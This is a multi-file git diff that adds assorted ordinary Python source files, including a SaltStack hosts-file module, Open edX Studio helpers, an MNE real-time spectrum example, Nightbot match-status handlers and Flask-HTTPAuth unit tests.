self.lines.setValue("Global",m.groups()[1]) +## self.lines.setValue("Cumulative",m.groups()[2]) + +# Should work with Python3 and Python2 diff --git a/pool/shard008/Python/0077526_studio_editable.py b/pool/shard008/Python/0077526_studio_editable.py new file mode 100644 index 0000000000000000000000000000000000000000..da29b19c6ab5b0fdad9c6e5db2c6ef974e080a53 --- /dev/null +++ b/pool/shard008/Python/0077526_studio_editable.py @@ -0,0 +1,57 @@ +""" +Mixin to support editing in Studio. +""" +from xmodule.x_module import module_attr, STUDENT_VIEW, AUTHOR_VIEW + + +class StudioEditableModule(object): + """ + Helper methods for supporting Studio editing of xmodules. + + This class is only intended to be used with an XModule, as it assumes the existence of + self.descriptor and self.system. + """ + + def render_children(self, context, fragment, can_reorder=False, can_add=False): + """ + Renders the children of the module with HTML appropriate for Studio. If can_reorder is True, + then the children will be rendered to support drag and drop. + """ + contents = [] + + for child in self.descriptor.get_children(): # pylint: disable=E1101 + if can_reorder: + context['reorderable_items'].add(child.location) + child_module = self.system.get_module(child) # pylint: disable=E1101 + rendered_child = child_module.render(StudioEditableModule.get_preview_view_name(child_module), context) + fragment.add_frag_resources(rendered_child) + + contents.append({ + 'id': child.location.to_deprecated_string(), + 'content': rendered_child.content + }) + + fragment.add_content(self.system.render_template("studio_render_children_view.html", { # pylint: disable=E1101 + 'items': contents, + 'xblock_context': context, + 'can_add': can_add, + 'can_reorder': can_reorder, + })) + + @staticmethod + def get_preview_view_name(block): + """ + Helper method for getting preview view name (student_view or author_view) for a given module. + """ + return AUTHOR_VIEW if hasattr(block, AUTHOR_VIEW) else STUDENT_VIEW + + +class StudioEditableDescriptor(object): + """ + Helper mixin for supporting Studio editing of xmodules. + + This class is only intended to be used with an XModule Descriptor. This class assumes that the associated + XModule will have an "author_view" method for returning an editable preview view of the module. + """ + author_view = module_attr(AUTHOR_VIEW) + has_author_view = True diff --git a/pool/shard008/Python/0077531_hosts.py b/pool/shard008/Python/0077531_hosts.py new file mode 100644 index 0000000000000000000000000000000000000000..e5e3ed9a983beb39fb0cbc237c0fbb6751308992 --- /dev/null +++ b/pool/shard008/Python/0077531_hosts.py @@ -0,0 +1,231 @@ +# -*- coding: utf-8 -*- +''' +Manage the information in the hosts file +''' + +# Import python libs +import os + +# Import salt libs +import salt.utils +import salt.utils.odict as odict + + +# pylint: disable=C0103 +def __get_hosts_filename(): + ''' + Return the path to the appropriate hosts file + ''' + # TODO: Investigate using "%SystemRoot%\system32" for this + if salt.utils.is_windows(): + return 'C:\\Windows\\System32\\drivers\\etc\\hosts' + + return __salt__['config.option']('hosts.file') + + +def _list_hosts(): + ''' + Return the hosts found in the hosts file in as an OrderedDict + ''' + hfn = __get_hosts_filename() + ret = odict.OrderedDict() + if not os.path.isfile(hfn): + return ret + with salt.utils.fopen(hfn) as ifile: + for line in ifile: + line = line.strip() + if not line: + continue + if line.startswith('#'): + continue + comps = line.split() + ip = comps.pop(0) + ret.setdefault(ip, []).extend(comps) + return ret + + +def list_hosts(): + ''' + Return the hosts found in the hosts file in this format:: + + {'': ['alias1', 'alias2', ...]} + + CLI Example: + + .. code-block:: bash + + salt '*' hosts.list_hosts + ''' + # msgpack does not like OrderedDict's + return dict(_list_hosts()) + + +def get_ip(host): + ''' + Return the ip associated with the named host + + CLI Example: + + .. code-block:: bash + + salt '*' hosts.get_ip + ''' + hosts = _list_hosts() + if not hosts: + return '' + # Look for the op + for addr in hosts: + if host in hosts[addr]: + return addr + # ip not found + return '' + + +def get_alias(ip): + ''' + Return the list of aliases associated with an ip + + CLI Example: + + .. code-block:: bash + + salt '*' hosts.get_alias + ''' + hosts = _list_hosts() + if ip in hosts: + return hosts[ip] + return [] + + +def has_pair(ip, alias): + ''' + Return true if the alias is set + + CLI Example: + + .. code-block:: bash + + salt '*' hosts.has_pair + ''' + hosts = _list_hosts() + return ip in hosts and alias in hosts[ip] + + +def set_host(ip, alias): + ''' + Set the host entry in the hosts file for the given ip, this will overwrite + any previous entry for the given ip + + CLI Example: + + .. code-block:: bash + + salt '*' hosts.set_host + ''' + hfn = __get_hosts_filename() + ovr = False + if not os.path.isfile(hfn): + return False + lines = salt.utils.fopen(hfn).readlines() + for ind, line in enumerate(lines): + tmpline = line.strip() + if not tmpline: + continue + if tmpline.startswith('#'): + continue + comps = tmpline.split() + if comps[0] == ip: + if not ovr: + lines[ind] = ip + '\t\t' + alias + '\n' + ovr = True + else: # remove other entries + lines[ind] = '' + if not ovr: + # make sure there is a newline + if lines and not lines[-1].endswith(('\n', '\r')): + lines[-1] = '{0}\n'.format(lines[-1]) + line = ip + '\t\t' + alias + '\n' + lines.append(line) + with salt.utils.fopen(hfn, 'w+') as ofile: + ofile.writelines(lines) + return True + + +def rm_host(ip, alias): + ''' + Remove a host entry from the hosts file + + CLI Example: + + .. code-block:: bash + + salt '*' hosts.rm_host + ''' + if not has_pair(ip, alias): + return True + hfn = __get_hosts_filename() + lines = salt.utils.fopen(hfn).readlines() + for ind in range(len(lines)): + tmpline = lines[ind].strip() + if not tmpline: + continue + if tmpline.startswith('#'): + continue + comps = tmpline.split() + if comps[0] == ip: + newline = '{0}\t'.format(comps[0]) + for existing in comps[1:]: + if existing == alias: + continue + newline += '\t{0}'.format(existing) + if newline.strip() == ip: + # No aliases exist for the line, make it empty + lines[ind] = '' + else: + # Only an alias was removed + lines[ind] = '{0}\n'.format(newline) + with salt.utils.fopen(hfn, 'w+') as ofile: + ofile.writelines(lines) + return True + + +def add_host(ip, alias): + ''' + Add a host to an existing entry, if the entry is not in place then create + it with the given host + + CLI Example: + + .. code-block:: bash + + salt '*' hosts.add_host + ''' + hfn = __get_hosts_filename() + if not os.path.isfile(hfn): + return False + + if has_pair(ip, alias): + return True + + hosts = _list_hosts() + hosts.setdefault(ip, []).append(alias) + _write_hosts(hosts) + return True + + +def _write_hosts(hosts): + lines = [] + for ip, aliases in hosts.iteritems(): + line = '{0}\t\t{1}'.format( + ip, + '\t\t'.join(aliases) + ) + lines.append(line) + + hfn = __get_hosts_filename() + with salt.utils.fopen(hfn, 'w+') as ofile: + ofile.write( + '\n'.join( + [l.strip() for l in lines if l.strip()] + ) + ) diff --git a/pool/shard008/Python/0077538_train_ann.py b/pool/shard008/Python/0077538_train_ann.py new file mode 100644 index 0000000000000000000000000000000000000000..44647f77b5fa43f7a9e102b6d30bc4d9570cd63d --- /dev/null +++ b/pool/shard008/Python/0077538_train_ann.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python + +""" Train the Rap1 site detector """ + +# Imports +import time +import secrets +import pathlib +import argparse + +import matplotlib.pyplot as plt + +import numpy as np + +from final_project import model, layers, optimizers, io + +# Constants +THISDIR = pathlib.Path(__file__).resolve().parent +WEIGHTDIR = THISDIR / 'weights' +MODELDIR = THISDIR / 'models' +PLOTDIR = THISDIR / 'plots' +DATADIR = THISDIR / 'data' + +LEARN_RATE = 0.001 +NUM_EPOCHS = 10000 + +# Functions + + +def train_rap1_det(learn_rate=LEARN_RATE, + num_epochs=NUM_EPOCHS, + seed=None): + """ Train a Rap1 site detector """ + + # Training data + train_x, train_y = io.load_training_data(DATADIR / 'train_final.txt') + test_x, test_y = io.load_training_data(DATADIR / 'test_final.txt') + + print('X training data: {}'.format(train_x.shape)) + print('Y training data: {}'.format(train_y.shape)) + + print('X test data: {}'.format(test_x.shape)) + print('Y test data: {}'.format(test_y.shape)) + + if seed is None: + seed = secrets.randbelow(2**32) + print('Random seed: {}'.format(seed)) + rng = np.random.RandomState(seed) + + # Model + prefix = 'ann_rap1' + + net = model.Model('Rap1 Detector', + input_size=68, + rng=rng) + net.add_layer(layers.FullyConnected(size=16, func='relu')) + net.add_layer(layers.FullyConnected(size=8, func='relu')) + net.add_layer(layers.FullyConnected(size=1, func='sigmoid')) + net.init_weights() + net.set_optimizer(optimizers.Adam(learn_rate=learn_rate)) + + t0 = time.time() + train_losses = [] + test_losses = [] + + for epoch in range(num_epochs): + err = net.gradient_descent(train_x, train_y) + err = np.mean(err) + train_losses.append(err) + + test_yhat = net.predict(test_x) + err = np.mean(net.calc_error(test_y, test_yhat)) + test_losses.append(err) + + if epoch % 100 == 0: + print('Epoch: {:4d}: Last train error: {}'.format( + epoch, train_losses[-1])) + print(' : Last test error: {}'.format( + test_losses[-1])) + + print('Training took {} secs'.format(time.time() - t0)) + + print('Saving model spec...') + net.save_model(MODELDIR / '{}.json'.format(prefix)) + + print('Saving final weights...') + net.save_weights(str(WEIGHTDIR / '{}.npz'.format(prefix))) + + train_losses = np.array(train_losses) + + print('Plotting losses...') + fig, ax = plt.subplots(1, 1, figsize=(12, 12)) + + title = 'Loss for Rap1 Detector ($\\alpha$={})' + title = title.format(learn_rate) + + epochs = np.arange(train_losses.shape[0]) + + ax.plot(epochs, train_losses, '-b', linewidth=3, label='training') + ax.plot(epochs, test_losses, '-r', linewidth=3, label='testing') + ax.set_xlabel('Epochs') + ax.set_ylabel('Mean Squared Error') + ax.set_title(title) + ax.legend() + + fig.savefig(str(PLOTDIR / '{}_loss.png'.format(prefix))) + plt.close() + + +def parse_args(args=None): + parser = argparse.ArgumentParser() + parser.add_argument('--learn-rate', type=float, default=LEARN_RATE, + help='Learning rate to use') + parser.add_argument('-n', '--num-epochs', type=int, default=NUM_EPOCHS, + help='Number of epochs to use') + parser.add_argument('--seed', type=int, + help='Random seed to use for training') + return parser.parse_args(args=args) + + +def main(args=None): + args = parse_args(args=args) + train_rap1_det(**vars(args)) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077541_plot_ftclient_rt_compute_psd.py b/pool/shard008/Python/0077541_plot_ftclient_rt_compute_psd.py new file mode 100644 index 0000000000000000000000000000000000000000..ea0651fa667e291d648106fb5f7d7ffb4d85b627 --- /dev/null +++ b/pool/shard008/Python/0077541_plot_ftclient_rt_compute_psd.py @@ -0,0 +1,91 @@ +""" +============================================================== +Compute real-time power spectrum density with FieldTrip client +============================================================== + +Please refer to `ftclient_rt_average.py` for instructions on +how to get the FieldTrip connector working in MNE-Python. + +This example demonstrates how to use it for continuous +computation of power spectra in real-time using the +get_data_as_epoch function. + +""" +# Author: Mainak Jas +# +# License: BSD (3-clause) + +import os.path as op +import subprocess +import time + +import numpy as np +import matplotlib.pyplot as plt + +import mne +from mne.time_frequency import psd_welch +from mne.utils import running_subprocess + +from mne_realtime import FieldTripClient + +print(__doc__) + +# user should provide info and list of bad channels because +# FieldTrip header object does not provide them +data_path = mne.datasets.sample.data_path() +info = mne.io.read_info(op.join(data_path, 'MEG', 'sample', + 'sample_audvis_raw.fif')) +bads = ['MEG 2443', 'EEG 053'] + +fig, ax = plt.subplots(1) + +speedup = 10 +command = ["neuromag2ft", "--file", + "{}/MEG/sample/sample_audvis_raw.fif".format(data_path), + "--speed", str(speedup)] +with running_subprocess(command, after='kill', + stdout=subprocess.PIPE, stderr=subprocess.PIPE): + with FieldTripClient(host='localhost', port=1972, + tmax=10, wait_max=5, info=info) as rt_client: + + # select gradiometers + picks = mne.pick_types(info, meg='grad', eeg=False, eog=True, + stim=False, include=[], exclude=bads) + + n_fft = 256 # the FFT size. Ideally a power of 2 + n_samples = 2048 # time window on which to compute FFT + + # make sure at least one epoch is available + time.sleep(n_samples / info['sfreq']) + + for ii in range(5): + epoch = rt_client.get_data_as_epoch(n_samples=n_samples, + picks=picks) + psd, freqs = psd_welch(epoch, fmin=2, fmax=200, n_fft=n_fft) + + cmap = 'RdBu_r' + freq_mask = freqs < 150 + freqs = freqs[freq_mask] + log_psd = 10 * np.log10(psd[0]) + + tmin = epoch.events[0][0] / info['sfreq'] + tmax = (epoch.events[0][0] + n_samples) / info['sfreq'] + + if ii == 0: + im = ax.imshow(log_psd[:, freq_mask].T, aspect='auto', + origin='lower', cmap=cmap) + + ax.set_yticks(np.arange(0, len(freqs), 10)) + ax.set_yticklabels(freqs[::10].round(1)) + ax.set_xlabel('Frequency (Hz)') + ax.set_xticks(np.arange(0, len(picks), 30)) + ax.set_xticklabels(picks[::30]) + ax.set_xlabel('MEG channel index') + im.set_clim() + else: + im.set_data(log_psd[:, freq_mask].T) + + plt.title('continuous power spectrum (t = %0.2f sec to %0.2f sec)' + % (tmin, tmax), fontsize=10) + + plt.pause(0.5 / speedup) diff --git a/pool/shard008/Python/0077547_nightbot_controller.py b/pool/shard008/Python/0077547_nightbot_controller.py new file mode 100644 index 0000000000000000000000000000000000000000..87742432b37f77f912170237f6607207afde119f --- /dev/null +++ b/pool/shard008/Python/0077547_nightbot_controller.py @@ -0,0 +1,133 @@ +from base_controller import CacheableHandler +from database.event_query import TeamEventsQuery +from database.match_query import TeamEventMatchesQuery +from helpers.event_team_status_helper import EventTeamStatusHelper +from helpers.match_helper import MatchHelper +from helpers.team_helper import TeamHelper +from models.event_team import EventTeam +from models.team import Team + + +def validate_team(user_str, team_number): + """ + Returns: + Team object if the team exists and is currently competing + String with the appropriate error otherwise + """ + team_key = 'frc{}'.format(team_number) + team = Team.get_by_id(team_key) + if not team: + return "{}Team {} does not exist.".format(user_str, team_number) + + team_events_future = TeamEventsQuery(team_key).fetch_async() + current_event = None + for event in team_events_future.get_result(): + if event.now: + current_event = event + if not current_event: + return "{}Team {} is not currently competing.".format(user_str, team_number) + + return team, current_event + + +class NightbotTeamNextmatchHandler(CacheableHandler): + CACHE_VERSION = 0 + CACHE_KEY_FORMAT = "nightbot_team_nextmatch_{}" # (team_number) + CACHE_HEADER_LENGTH = 61 + + def __init__(self, *args, **kw): + super(NightbotTeamNextmatchHandler, self).__init__(*args, **kw) + self._cache_expiration = self.CACHE_HEADER_LENGTH + + def get(self, arg_str): + args = arg_str.split(' ', 1) + team_num_str = args[0] + self.response.headers['content-type'] = 'text/plain; charset="utf-8"' + if not team_num_str.isdigit(): + self.response.out.write("Run: !nextmatch ") + return + team_number = int(team_num_str) + tz_str = args[1] if len(args) >= 2 else "" + self._partial_cache_key = self.CACHE_KEY_FORMAT.format(team_number) + super(NightbotTeamNextmatchHandler, self).get(team_number, tz_str) + + def _render(self, team_number, tz_str=None): + import pytz + from pytz.exceptions import UnknownTimeZoneError + + user = self.request.get('user') + if user: + user_str = '@{}, '.format(user) + else: + user_str = '' + + try: + arg_tz = pytz.timezone(tz_str) if tz_str else None + except UnknownTimeZoneError: + arg_tz = None + + team_event_or_error = validate_team(user_str, team_number) + if type(team_event_or_error) == str: + return team_event_or_error + + _, event = team_event_or_error + event_code_upper = event.event_short.upper() + + matches_future = TeamEventMatchesQuery('frc{}'.format(team_number), event.key.id()).fetch_async() + matches = MatchHelper.play_order_sort_matches(matches_future.get_result()) + + # No match schedule yet + if not matches: + return "{}[{}] Team {} has no scheduled matches yet.".format(user_str, event_code_upper, team_number) + + next_match = None + for match in matches: + if not match.has_been_played: + next_match = match + break + + if next_match is None: + return "{}[{}] Team {} has no more scheduled matches.".format(user_str, event_code_upper, team_number) + + predicted_str = "predicted" if next_match.predicted_time else "scheduled" + match_time = next_match.predicted_time if next_match.predicted_time else next_match.time + timezone = arg_tz if arg_tz else pytz.timezone(event.timezone_id) + predicted_time_local = pytz.utc.localize(match_time).astimezone(timezone) if timezone else match_time + time_string = ", {} to start at {}".format(predicted_str, predicted_time_local.strftime("%a %H:%M %Z")) if match_time else "" + return "{}[{}] Team {} will be playing in match {}{}".format(user_str, event_code_upper, team_number, next_match.short_name, time_string) + + +class NightbotTeamStatuskHandler(CacheableHandler): + CACHE_VERSION = 0 + CACHE_KEY_FORMAT = "nightbot_team_status_{}" # (team_number) + CACHE_HEADER_LENGTH = 61 + + def __init__(self, *args, **kw): + super(NightbotTeamStatuskHandler, self).__init__(*args, **kw) + self._cache_expiration = self.CACHE_HEADER_LENGTH + + def get(self, team_number): + self._partial_cache_key = self.CACHE_KEY_FORMAT.format(team_number) + super(NightbotTeamStatuskHandler, self).get(team_number) + + def _render(self, team_number): + self.response.headers['content-type'] = 'text/plain; charset="utf-8"' + user = self.request.get('user') + if user: + user_str = '@{}, '.format(user) + else: + user_str = '' + + team_event_or_error = validate_team(user_str, team_number) + if type(team_event_or_error) == str: + return team_event_or_error + + _, event = team_event_or_error + event_code_upper = event.event_short.upper() + event_team = EventTeam.get_by_id('{}_frc{}'.format(event.key.id(), team_number)) + + team_key = 'frc{}'.format(team_number) + status = EventTeamStatusHelper.generate_team_at_event_status_string(team_key, event_team.status) + if status: + status = status.replace('', '').replace('', '') + return '{}[{}] {}'.format(user_str, event_code_upper, status) diff --git a/pool/shard008/Python/0077549_population.py b/pool/shard008/Python/0077549_population.py new file mode 100644 index 0000000000000000000000000000000000000000..608dc5f8781fed7a859b8991c8ccda802fd8f24f --- /dev/null +++ b/pool/shard008/Python/0077549_population.py @@ -0,0 +1,41 @@ +import evoflow.backend as B + + +def randint_population(shape, max_value, min_value=0): + """Generate a random population made of Integers + + Args: + (set of ints): shape of the population. Its of the form + (num_chromosomes, chromosome_dim_1, .... chromesome_dim_n) + + max_value (int): Maximum value taken by a given gene. + + min_value (int, optional): Min value a gene can take. Defaults to 0. + + Returns: + Tensor: random population. + """ + high = max_value + 1 + return B.randint(low=min_value, high=high, shape=shape, dtype=B.intx()) + + +def uniform_population(shape, dtype=B.intx()): + """Generate a uniform population made of Integers. Uniform means that + each chromosome contains only one time each value and each chromosome + have them in different order. + + Args: + (set of ints): shape of the population. Its of the form + (num_chromosomes, chromosome size) + + dtype (str): tensor type + + Returns: + Tensor: uniform population. + """ + population = [] + chromosome = B.range(shape[1], dtype=dtype) + for i in range(shape[0]): + chromosome = B.shuffle(chromosome) + population.append(chromosome) + return B.tensor(population) diff --git a/pool/shard008/Python/0077551_photologue_tags.py b/pool/shard008/Python/0077551_photologue_tags.py new file mode 100644 index 0000000000000000000000000000000000000000..142a32e9dc8dd7029faf3c78db2f0acceb9a57f1 --- /dev/null +++ b/pool/shard008/Python/0077551_photologue_tags.py @@ -0,0 +1,17 @@ +from django import template + +register = template.Library() + +@register.simple_tag +def next_in_gallery(photo, gallery): + next = photo.get_next_in_gallery(gallery) + if next: + return '' % (next.title, next.get_absolute_url(), next.thumbnail.url) + return "" + +@register.simple_tag +def previous_in_gallery(photo, gallery): + prev = photo.get_previous_in_gallery(gallery) + if prev: + return '' % (prev.title, prev.get_absolute_url(), prev.thumbnail.url) + return "" diff --git a/pool/shard008/Python/0077556_test_matching.py b/pool/shard008/Python/0077556_test_matching.py new file mode 100644 index 0000000000000000000000000000000000000000..d976be7d50b626b72a14d21fdb461d21e44650ab --- /dev/null +++ b/pool/shard008/Python/0077556_test_matching.py @@ -0,0 +1,71 @@ +# Licensed under a 3-clause BSD style license - see LICENSE.rst + +# Standard Library +import unittest +import time + +# 3rd Party +import numpy as np + +# Internal +from latbin import ZLattice, DLattice, ALattice, Lattice, generate_lattice, CompositeLattice +import latbin.matching as matching + +# ########################################################################### # + +class TestMatch(unittest.TestCase): + ndim = 2 + match_dist = 0.025 + + def setUp(self): + npts1 = 1000 + npts2 = 1000 + self.d1 = np.random.random((npts1, self.ndim)) + self.d2 = np.random.random((npts2, self.ndim)) + + def test_match(self): + stime = time.time() + match_res = matching.match(self.d1, self.d2, self.match_dist) + etime = time.time() + print("beginning matching algorithm") + print("{} matches found in {} seconds".format(len(match_res[0]), etime-stime)) + + print("beginning brute matching algorithm") + stime = time.time() + brute_res = matching.brute_match(self.d1, self.d2, self.match_dist) + etime = time.time() + print("brute match finished in {} seconds".format(etime-stime)) + + brute_matches = set(zip(brute_res[0], brute_res[1])) + match_matches = set(zip(match_res[0], match_res[1])) + + nmatches = len(brute_res[0]) + + invalid = match_matches-brute_matches + missed = brute_matches-match_matches + print("missed", missed) + print("invalid", invalid) + + self.assertTrue(len(invalid)==0, "found {} false matches".format(len(invalid))) + + self.assertTrue(len(missed) == 0, "missed {} out of {} valid matches".format(len(missed), nmatches)) + +class TestMatch3D(TestMatch): + ndim = 3 + match_dist = 0.05 + +class TestMatch4D(TestMatch): + ndim = 4 + match_dist = 0.07 + +class TestMatch5D(TestMatch): + ndim = 5 + match_dist = 0.1 + +class TestMatch6D(TestMatch): + ndim = 6 + match_dist = 0.15 + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard008/Python/0077559_simple.py b/pool/shard008/Python/0077559_simple.py new file mode 100644 index 0000000000000000000000000000000000000000..da073cbdb11e6c24c19a2d388c53c8842228595f --- /dev/null +++ b/pool/shard008/Python/0077559_simple.py @@ -0,0 +1,116 @@ +""" +Interface adapters for low-level readers. +""" + +import abc +import io +import itertools +from typing import BinaryIO, List + +from .abc import Traversable, TraversableResources + + +class SimpleReader(abc.ABC): + """ + The minimum, low-level interface required from a resource + provider. + """ + + @abc.abstractproperty + def package(self): + # type: () -> str + """ + The name of the package for which this reader loads resources. + """ + + @abc.abstractmethod + def children(self): + # type: () -> List['SimpleReader'] + """ + Obtain an iterable of SimpleReader for available + child containers (e.g. directories). + """ + + @abc.abstractmethod + def resources(self): + # type: () -> List[str] + """ + Obtain available named resources for this virtual package. + """ + + @abc.abstractmethod + def open_binary(self, resource): + # type: (str) -> BinaryIO + """ + Obtain a File-like for a named resource. + """ + + @property + def name(self): + return self.package.split('.')[-1] + + +class ResourceHandle(Traversable): + """ + Handle to a named resource in a ResourceReader. + """ + + def __init__(self, parent, name): + # type: (ResourceContainer, str) -> None + self.parent = parent + self.name = name # type: ignore + + def is_file(self): + return True + + def is_dir(self): + return False + + def open(self, mode='r', *args, **kwargs): + stream = self.parent.reader.open_binary(self.name) + if 'b' not in mode: + stream = io.TextIOWrapper(*args, **kwargs) + return stream + + def joinpath(self, name): + raise RuntimeError("Cannot traverse into a resource") + + +class ResourceContainer(Traversable): + """ + Traversable container for a package's resources via its reader. + """ + + def __init__(self, reader): + # type: (SimpleReader) -> None + self.reader = reader + + def is_dir(self): + return True + + def is_file(self): + return False + + def iterdir(self): + files = (ResourceHandle(self, name) for name in self.reader.resources) + dirs = map(ResourceContainer, self.reader.children()) + return itertools.chain(files, dirs) + + def open(self, *args, **kwargs): + raise IsADirectoryError() + + def joinpath(self, name): + return next( + traversable for traversable in self.iterdir() if traversable.name == name + ) + + +class TraversableReader(TraversableResources, SimpleReader): + """ + A TraversableResources based on SimpleReader. Resource providers + may derive from this class to provide the TraversableResources + interface by supplying the SimpleReader interface. + """ + + def files(self): + return ResourceContainer(self) diff --git a/pool/shard008/Python/0077566_script.py b/pool/shard008/Python/0077566_script.py new file mode 100644 index 0000000000000000000000000000000000000000..dc4474bbbf5aec6c72b4e0882e62d2af9841a2fa --- /dev/null +++ b/pool/shard008/Python/0077566_script.py @@ -0,0 +1,46 @@ +# package main + +def varInit(): + print("\nvariable initialization\n") + + r = 'J' + flag = True + b = 35 + i = 23432343 + l = 938920l + f = 903.3909 + d = 90929324909023.290932342 + # us uint16 = 65000 + # uc uint8 = 128 + + print("0.\tbflag - {}".format(flag)) + print("1.\tr - {:s}".format(r)) + print("2.\tb - {:d}".format(b)) + print("3.\ti - {:d}".format(i)) + print("4.\tl- 0x{:X}".format(l)) + print("5.\tf - {:f}".format(f)) + print("6.\td - {:f}".format(d)) + +def varDeclar(): + print("\nvariable declaration\n") + + r = chr(48) # = '0' + flag = False + b = 0 + i = 0 + l = 0l + f = 0.0 + d = 0.0 + # us uint16 + # uc uint8 + + print "0.\tbflag -", flag + print "1.\tr -", r + print "2.\tb -", b + print "3.\ti -", i + print "4.\tl -", hex(l) + print "5.\tf -", f + print "6.\td -", d + +varDeclar() +varInit() \ No newline at end of file diff --git a/pool/shard008/Python/0077572_datastream_v1_generated_datastream_list_streams_async.py b/pool/shard008/Python/0077572_datastream_v1_generated_datastream_list_streams_async.py new file mode 100644 index 0000000000000000000000000000000000000000..984b5ccfe90b8de58c7233358e4ade9ddbfe94e1 --- /dev/null +++ b/pool/shard008/Python/0077572_datastream_v1_generated_datastream_list_streams_async.py @@ -0,0 +1,46 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for ListStreams +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-datastream + + +# [START datastream_v1_generated_Datastream_ListStreams_async] +from google.cloud import datastream_v1 + + +async def sample_list_streams(): + # Create a client + client = datastream_v1.DatastreamAsyncClient() + + # Initialize request argument(s) + request = datastream_v1.ListStreamsRequest( + parent="parent_value", + ) + + # Make the request + page_result = client.list_streams(request=request) + + # Handle the response + async for response in page_result: + print(response) + +# [END datastream_v1_generated_Datastream_ListStreams_async] diff --git a/pool/shard008/Python/0077578_test_basic_verify_password.py b/pool/shard008/Python/0077578_test_basic_verify_password.py new file mode 100644 index 0000000000000000000000000000000000000000..4f383abb43e2a1883b3e94a3091b7603dea07a6b --- /dev/null +++ b/pool/shard008/Python/0077578_test_basic_verify_password.py @@ -0,0 +1,87 @@ +import unittest +import base64 +from flask import Flask, g +from flask_httpauth import HTTPBasicAuth + + +class HTTPAuthTestCase(unittest.TestCase): + use_old_style_callback = False + + def setUp(self): + app = Flask(__name__) + app.config['SECRET_KEY'] = 'my secret' + + basic_verify_auth = HTTPBasicAuth() + + @basic_verify_auth.verify_password + def basic_verify_auth_verify_password(username, password): + if self.use_old_style_callback: + g.anon = False + if username == 'john': + return password == 'hello' + elif username == 'susan': + return password == 'bye' + elif username == '': + g.anon = True + return True + return False + else: + g.anon = False + if username == 'john' and password == 'hello': + return 'john' + elif username == 'susan' and password == 'bye': + return 'susan' + elif username == '': + g.anon = True + return '' + + @basic_verify_auth.error_handler + def error_handler(): + self.assertIsNone(basic_verify_auth.current_user()) + return 'error', 403 # use a custom error status + + @app.route('/') + def index(): + return 'index' + + @app.route('/basic-verify') + @basic_verify_auth.login_required + def basic_verify_auth_route(): + if self.use_old_style_callback: + return 'basic_verify_auth:' + basic_verify_auth.username() + \ + ' anon:' + str(g.anon) + else: + return 'basic_verify_auth:' + \ + basic_verify_auth.current_user() + ' anon:' + str(g.anon) + + self.app = app + self.basic_verify_auth = basic_verify_auth + self.client = app.test_client() + + def test_verify_auth_login_valid(self): + creds = base64.b64encode(b'susan:bye').decode('utf-8') + response = self.client.get( + '/basic-verify', headers={'Authorization': 'Basic ' + creds}) + self.assertEqual(response.data, b'basic_verify_auth:susan anon:False') + + def test_verify_auth_login_empty(self): + response = self.client.get('/basic-verify') + self.assertEqual(response.data, b'basic_verify_auth: anon:True') + + def test_verify_auth_login_invalid(self): + creds = base64.b64encode(b'john:bye').decode('utf-8') + response = self.client.get( + '/basic-verify', headers={'Authorization': 'Basic ' + creds}) + self.assertEqual(response.status_code, 403) + self.assertTrue('WWW-Authenticate' in response.headers) + + def test_verify_auth_login_malformed_password(self): + creds = 'eyJhbGciOieyJp==' + response = self.client.get('/basic-verify', + headers={'Authorization': 'Basic ' + creds}) + self.assertEqual(response.status_code, 403) + self.assertTrue('WWW-Authenticate' in response.headers) + + +class HTTPAuthTestCaseOldStyle(HTTPAuthTestCase): + use_old_style_callback = True diff --git a/pool/shard008/Python/0077580_identity_serializer.py b/pool/shard008/Python/0077580_identity_serializer.py new file mode 100644 index 0000000000000000000000000000000000000000..d1cd56ec36a3ea7a3af61c0d4cfea1956d3dc823 --- /dev/null +++ b/pool/shard008/Python/0077580_identity_serializer.py @@ -0,0 +1,23 @@ +from core.models.identity import Identity +from rest_framework import serializers +from .quota_serializer import QuotaSerializer +from .allocation_serializer import AllocationSerializer + + +class IdentitySerializer(serializers.ModelSerializer): + created_by = serializers.ReadOnlyField(source='creator_name') + credentials = serializers.ReadOnlyField(source='get_credentials') + id = serializers.ReadOnlyField(source='uuid') + provider_id = serializers.ReadOnlyField(source='provider_uuid') + quota = QuotaSerializer(source='get_quota') + allocation = AllocationSerializer(source='get_allocation') + + class Meta: + model = Identity + fields = ( + 'id', + 'created_by', + 'provider_id', + 'credentials', + 'quota', + 'allocation') diff --git a/pool/shard008/Python/0077586_validate.py b/pool/shard008/Python/0077586_validate.py new file mode 100644 index 0000000000000000000000000000000000000000..23d3ead06f99d82d8de59a5459da2732455269e2 --- /dev/null +++ b/pool/shard008/Python/0077586_validate.py @@ -0,0 +1,78 @@ +#!python +# A script to do validation +__author__ = "David Rusk " + +import argparse +import tempfile + +from src.daomop import storage +from src.validate.gui import logger +from src.validate.gui import tasks + + +def launch_app(task, working_directory, output_directory, dry_run, debug, name_filter=None, + user_name=None, skip_previous=False, zoom=1): + # Put import here to avoid the delay loading them. This allows quick + # feedback when argparse can tell the arguments are invalid, and makes + # getting help with the -h flag faster. + from ..gui.app import create_application + + create_application(task, working_directory, output_directory, + dry_run=dry_run, debug=debug, name_filter=name_filter, + user_id=user_name, skip_previous=skip_previous, zoom=zoom) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("task", choices=tasks.task_list, + help="The task to perform.") + parser.add_argument("input", + help="The directory with files to be processed.") + parser.add_argument("-o", "--output", + required=False, + default=tempfile.gettempdir(), + help="The directory where any local output files will " + "be placed.") + parser.add_argument("--dbimages", default="vos:OSSOS/dbimages", help="VOSpace location of images to show.") + parser.add_argument("--dry-run", + dest="dry_run", + action="store_true", + help="Do a dry run, where no results are sent to " + "VOSpace.") + parser.add_argument("--debug", + action="store_true", + help="wx inspection tool will be launched.") + parser.add_argument("--target_name-filter", + dest="name_filter", + help="A filter to apply to object names when loading from a directory.") + parser.add_argument("--skip-previous", action="store_true", + dest="skip_previous", 